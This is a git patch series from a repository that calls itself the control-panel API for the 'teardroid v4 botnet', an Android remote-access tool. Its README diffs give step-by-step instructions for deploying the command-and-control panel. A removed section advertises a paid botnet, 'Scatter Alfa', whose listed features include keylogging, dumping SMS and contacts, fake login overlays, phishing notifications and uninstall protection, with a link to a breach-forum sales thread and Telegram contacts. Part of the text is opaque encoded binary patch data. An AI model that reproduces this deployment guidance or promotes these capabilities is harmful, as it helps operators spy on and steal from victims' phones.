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 Date: Mon, 1 May 2023 02:40:27 +0530 Subject: [PATCH 19/31] update readme.md --- README.md | 134 ++++++------------------------------------------------ 1 file changed, 13 insertions(+), 121 deletions(-) diff --git a/README.md b/README.md index c832404..f3c957e 100644 --- a/README.md +++ b/README.md @@ -6,7 +6,9 @@ This api is for teardroid v4 botnet Please visit https://github.com/ScRiPt1337/Teardroid-phprat to know about teardroid and how to use it -### Run control panel on your own server +### Run control panel on deta.space + +- Create a account on https://deta.space - Clone [Teardroidv4_api](https://github.com/ScRiPt1337/Teardroidv4_api) repo using the command below @@ -14,128 +16,18 @@ Please visit https://github.com/ScRiPt1337/Teardroid-phprat to know about teardr $ git clone https://github.com/ScRiPt1337/Teardroidv4_api ``` -- Install uvicorn - -```bash -$ sudo apt-get install uvicorn -$ python3 -m pip install uvicorn -``` - -- Change dir to Teardroidv4_api - -```bash -$ cd Teardroidv4_api -``` - -- Install all dependency - -```bash -$ pip install -r requirements.txt -``` - -- change project key to connect with database -- Set up an account at [deta.sh](https://web.deta.sh/) and go to project keys and create a new key and copy it +- run setup.py script using the command below ```bash -$ nano ./db/database.py -from deta import Deta -from os import getenv - -deta = Deta(getenv("DETA_PROJECT_KEY")) => deta = Deta("demo project key") -# replace getenv("DETA_PROJECT_KEY") with your deta.sh project key -# make sure your remove getenv +$ python setup.py # for Windows +$ python3 setup.py # for Linux ``` - -- open config.py and change the value of "hello" to any user_agent or text you want -- Run teardroid api - -```bash -$ screen -# press enter to go inside the screen session -$ uvicorn main:app --host 0.0.0.0 --port 80 -# now close your terminal windows and we are good to go -``` - -- Change your user-agent of the browser with the value of USER_AGENT you have enter in config.py -- you can use this chrome extension to change user useragent [extension](https://chrome.google.com/webstore/detail/custom-useragent-string/lejiafennghcpgmbpiodgofeklkpahoe) -- Done +- it will open deta.space on your browser and ask you to click on the search bar and click on setting then generate access token +- copy the access token and paste it in the terminal or cmd +- it will setup the panel for you automatically and give you the panel url at the end when the deployment is done +- your home page will redirect you to wikipedia +- add /v4 at the end of your panel url to access teardroid control panel ### Need something more advanced try ( scatter alfa ) - -[!["Logo"](https://external-content.duckduckgo.com/iu/?u=https://i.ibb.co/7kXYDks/20221028-233129-0000.png)](https://breached.vc/Thread-Selling-SCATTER-ALFA-ANDROID-BOTNET) - -##### REAL TIME COMMUNICATION BETWEEN BECON AND SERVER - -##### SUPPORT ALL THE LATEST VERSION OF ANDROID - -##### STEALTHY, RESILIENT AND COST-EFFECTIVE - -##### SAND-BOX AND EMULATOR DETECTION - -##### ADVANCED ATTACK TECHNIQUES - -##### UNKILLABLE AND UNINSTALLABLE - -##### INBUILT GEO FENCING - -##### EASY TO OPERATE - -##### STABLE BECON - -##### VNC - -##### O NETWORK TRAFFIC IN IDLE MODE - -### Dashboard - -!["scatter"](https://external-content.duckduckgo.com/iu/?u=https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/scatter.png) - -!["dashboard"](https://external-content.duckduckgo.com/iu/?u=https://raw.githubusercontent.com/ScRiPt1337/Teardroid-phprat/master/img/dashboard.png) - -### Special features - -- Forground service bypass scatter does not show any notification while running in background. -- Auto launch bypass even in Chinese phone like redmi oppo vivo without auto launch permission. -- Does not create network logs and does not make http request in idle mode. -- Android battery optimization bypass without any permission. - -### Features - -- Keylogger ( capture everything client type on there keyboard ) -- logs (log everything user click on) -- notification capture ( capture all the notification client recive ) -- run ussd code ( run ussd code for call forwarding etc ) -- fake notification attack ( send phishing link using fake notification that look like is from facebook, microsoft etc ) -- injection ( add injection dynamically according to the installed apps on the client device ) -- popup fake login screen ( popup any page on clients home page without url bar or title bar (so the client will think its from google or any other app)) -- geo fencing -- dump sms, calls, contacts, installed apps -- download file -- shell command -- open url ( open any url on browser ) -- open apps ( open any app on client device using there package name ) -- auto allow permission ( automatically grant all the run time permission ) -- uninstall protection (stop the victim from uninstalling the app or force stop the app) -- vnc -- take screenshot -- automatically take screenshot when user open any specific app ( example: if you set it to whatsapp it will take screenshot of the client's whatsapp whenever client will open whatsapp and click anything like opening convo or clicking on the send button ) -- block number ( you can block number from victim device so the number can't call the victim ) -- install any apk file in victim device -- uninstall any app from victim device -- wake up device and able to run for 1 to 3 hour with screen off -- hidden app icon (work on new android versions too tested on 9 to 13) - -#### Interested in scatter alfa - -- Demo video available on my telegram channel => https://t.me/scatter1337 -- Pm me on telegram https://t.me/script1337 - -### Beware from scam - -- for paid project contact me on telegram -- I am only available on telegram and script1337 is my only account please double check the username - -### IMPORTANT NOTICE - -- you will not be able to access the dashboard if you dont change your user-agent with the same value of USER_AGENT inside config.py file. -- its to make you the dashboard more secure and to protect it from geting auto deleted from deta.sh +- If you're looking for a reliable and stable botnet that can meet your advanced needs, I would highly recommend taking a look at Scatter Alfa. Scatter Alfa has been specifically designed to provide advanced functionality and persistence over an extended period of time, making it an ideal choice for users who require persistence and stability. +- [Learn more about scatter alfa](https://github.com/ScRiPt1337/Teardroid-phprat/blob/master/advanced.md) \ No newline at end of file From 258e595192d9fc4f94ccbd7aa1f6aa316b140c60 Mon Sep 17 00:00:00 2001 From: script 1337 Date: Mon, 1 May 2023 02:47:23 +0530 Subject: [PATCH 20/31] Update readme.md --- README.md | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index f3c957e..07c224e 100644 --- a/README.md +++ b/README.md @@ -9,13 +9,8 @@ Please visit https://github.com/ScRiPt1337/Teardroid-phprat to know about teardr ### Run control panel on deta.space - Create a account on https://deta.space - -- Clone [Teardroidv4_api](https://github.com/ScRiPt1337/Teardroidv4_api) repo using the command below - -```bash -$ git clone https://github.com/ScRiPt1337/Teardroidv4_api -``` - +- Download teardroid control panel api from => [click here](https://github.com/ScRiPt1337/Teardroidv4_api/archive/refs/heads/main.zip) +- unzip the zip file go inside the unziped folder and open a cmd there - run setup.py script using the command below ```bash From b9fb1e3147991e06587a2a444cc5ed98920f157f Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Mon, 1 May 2023 16:01:12 +0530 Subject: [PATCH 21/31] Update setup.py --- setup.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/setup.py b/setup.py index cdae722..25ccc24 100644 --- a/setup.py +++ b/setup.py @@ -23,7 +23,7 @@ def main(): print("it will generate a new token and copy the token paste it below") os.system(space + " login") os.system(space + " new -n " + generate_random_string(10)) - os.system("space push") + os.system(space + " push") else: print("space is not installed") print("installing space cli....") @@ -34,4 +34,4 @@ def main(): print("\nPlease run this script again!") -main() \ No newline at end of file +main() From 2761e295497e00d712ba7663c2e208bce281b77a Mon Sep 17 00:00:00 2001 From: ScRiPt1337 Date: Mon, 31 Jul 2023 00:18:30 +0530 Subject: [PATCH 22/31] fix internal error in deta.space --- .DS_Store | Bin 0 -> 8196 bytes Discovery.md | 6 -- db/__pycache__/database.cpython-311.pyc | Bin 1297 -> 1322 bytes main.py | 34 ++++---- requirements.txt | 3 +- routers/.DS_Store | Bin 0 -> 8196 bytes routers/__pycache__/__init__.cpython-310.pyc | Bin 162 -> 0 bytes routers/__pycache__/__init__.cpython-311.pyc | Bin 144 -> 0 bytes routers/auth/.DS_Store | Bin 0 -> 6148 bytes .../auth/__pycache__/__init__.cpython-310.pyc | Bin 167 -> 0 bytes .../auth/__pycache__/__init__.cpython-311.pyc | Bin 149 -> 0 bytes routers/auth/__pycache__/auth.cpython-310.pyc | Bin 2052 -> 0 bytes routers/auth/__pycache__/auth.cpython-311.pyc | Bin 3467 -> 0 bytes routers/client/.DS_Store | Bin 0 -> 6148 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 169 -> 0 bytes .../__pycache__/__init__.cpython-311.pyc | Bin 151 -> 0 bytes .../client/__pycache__/client.cpython-310.pyc | Bin 2185 -> 0 bytes .../client/__pycache__/client.cpython-311.pyc | Bin 3648 -> 0 bytes routers/client/client.py | 12 +-- routers/command/.DS_Store | Bin 0 -> 6148 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 170 -> 0 bytes .../__pycache__/__init__.cpython-311.pyc | Bin 152 -> 0 bytes .../__pycache__/command.cpython-310.pyc | Bin 5295 -> 0 bytes .../__pycache__/command.cpython-311.pyc | Bin 10430 -> 0 bytes routers/command/command.py | 11 +-- routers/notification/.DS_Store | Bin 0 -> 6148 bytes .../__pycache__/__init__.cpython-310.pyc | Bin 175 -> 0 bytes .../__pycache__/__init__.cpython-311.pyc | Bin 157 -> 0 bytes .../__pycache__/notification.cpython-310.pyc | Bin 2663 -> 0 bytes .../__pycache__/notification.cpython-311.pyc | Bin 4785 -> 0 bytes setup.py | 2 + static/css/main.101b48ee.css | 2 - static/css/main.101b48ee.css.map | 1 - static/js/787.e649ba96.chunk.js | 2 - static/js/787.e649ba96.chunk.js.map | 1 - static/js/main.58405be5.js | 3 - static/js/main.58405be5.js.LICENSE.txt | 78 ------------------ static/js/main.58405be5.js.map | 1 - ...387aa1f6cbdd (1).ad1baec92f1a882ed917.jpeg | Bin 34938 -> 0 bytes ...cuate.a120d44c86141a29d90b578255e3ea3a.svg | 1 - static/media/images.png | Bin 109477 -> 0 bytes 41 files changed, 27 insertions(+), 130 deletions(-) create mode 100644 .DS_Store delete mode 100644 Discovery.md create mode 100644 routers/.DS_Store delete mode 100644 routers/__pycache__/__init__.cpython-310.pyc delete mode 100644 routers/__pycache__/__init__.cpython-311.pyc create mode 100644 routers/auth/.DS_Store delete mode 100644 routers/auth/__pycache__/__init__.cpython-310.pyc delete mode 100644 routers/auth/__pycache__/__init__.cpython-311.pyc delete mode 100644 routers/auth/__pycache__/auth.cpython-310.pyc delete mode 100644 routers/auth/__pycache__/auth.cpython-311.pyc create mode 100644 routers/client/.DS_Store delete mode 100644 routers/client/__pycache__/__init__.cpython-310.pyc delete mode 100644 routers/client/__pycache__/__init__.cpython-311.pyc delete mode 100644 routers/client/__pycache__/client.cpython-310.pyc delete mode 100644 routers/client/__pycache__/client.cpython-311.pyc create mode 100644 routers/command/.DS_Store delete mode 100644 routers/command/__pycache__/__init__.cpython-310.pyc delete mode 100644 routers/command/__pycache__/__init__.cpython-311.pyc delete mode 100644 routers/command/__pycache__/command.cpython-310.pyc delete mode 100644 routers/command/__pycache__/command.cpython-311.pyc create mode 100644 routers/notification/.DS_Store delete mode 100644 routers/notification/__pycache__/__init__.cpython-310.pyc delete mode 100644 routers/notification/__pycache__/__init__.cpython-311.pyc delete mode 100644 routers/notification/__pycache__/notification.cpython-310.pyc delete mode 100644 routers/notification/__pycache__/notification.cpython-311.pyc delete mode 100644 static/css/main.101b48ee.css delete mode 100644 static/css/main.101b48ee.css.map delete mode 100644 static/js/787.e649ba96.chunk.js delete mode 100644 static/js/787.e649ba96.chunk.js.map delete mode 100644 static/js/main.58405be5.js delete mode 100644 static/js/main.58405be5.js.LICENSE.txt delete mode 100644 static/js/main.58405be5.js.map delete mode 100644 static/media/2ee9fc9d-72f3-41a9-ae0b-387aa1f6cbdd (1).ad1baec92f1a882ed917.jpeg delete mode 100644 static/media/Cyberattack-cuate.a120d44c86141a29d90b578255e3ea3a.svg delete mode 100644 static/media/images.png diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..e09512a7a4ac32595964974147c4f83015dd6770 GIT binary patch literal 8196 zcmeI1O^?z*7{{MsS%DA}4w~S>q>0xJ%gbh!ctKt#CgcfGo3#F(*9=J@(e`8`V+53R41Y`itx26sx>C| zi?U(`-BW{S&=Uoe&=8*njaH&fhaq4H7y^cXAz%nx1Oj+x3oCDU@2kD0HUtcT|B`@s zK3FKi_q0!ymyZrqG6jGyqFWl;A{`JKOZ%Sosq)wZV@e9Iq)ew6Ov%x2>A0Tusq#ur zOeY^qe>2k=3X|WC<6APESWkIV8v=&FDgkl3RAtT{P_&f4zr7doBRAwOB1F_3l*UhK zXc29bOA{zU@^X=%H%GeDc%+Z{)g6UFoHU!?SYfNUeW?VimY&)#_|#6EWD@tC@nf;| zfb-B@v>o?h;7^COD|dO6I6>r(r6BNpggki^L>`~^`6TjUskPOP3T#-rHk-BD?fo5V zuhW|EShH@siFUU=pI6FPZ|vSa9KH-sBK}@p9x?r-q04IfwElor=Hg%5<0$0OF?xlf zLPx}b@;T5P%Y~2}NOm1jS&#+t$X!Or#5t_QWZ-={cX;*Ltkby(UbpuD!0sK+8@7?1 zxGs6UIcg<3AqT{wb;RV<``V#aU>IAwm#mmu!5YgGu%0>U{acgzE7`MI7UyfVus&XS(21_4&CRq9t z%YXS<{~e5Wm&VXWl!Lp)m-k9Y{xVhe1By=z1)~(3zh{{U`r|MBL6?w zy#9aY;~SwNUp*%woCgM`%r395s$Kho<4uATGA=(x~ Xg{G%{syupNW+6agFqI*2t^|Go7m7(W literal 0 HcmV?d00001 diff --git a/Discovery.md b/Discovery.md deleted file mode 100644 index ab1ccbd..0000000 --- a/Discovery.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -app_name: python-app -tagline: python-app ---- - - diff --git a/db/__pycache__/database.cpython-311.pyc b/db/__pycache__/database.cpython-311.pyc index 6c1a5172e453cbc95e3754db49b3f466194fcac8..f28eef7755d72a257c2ce6c1e580dbde019c0b71 100644 GIT binary patch delta 212 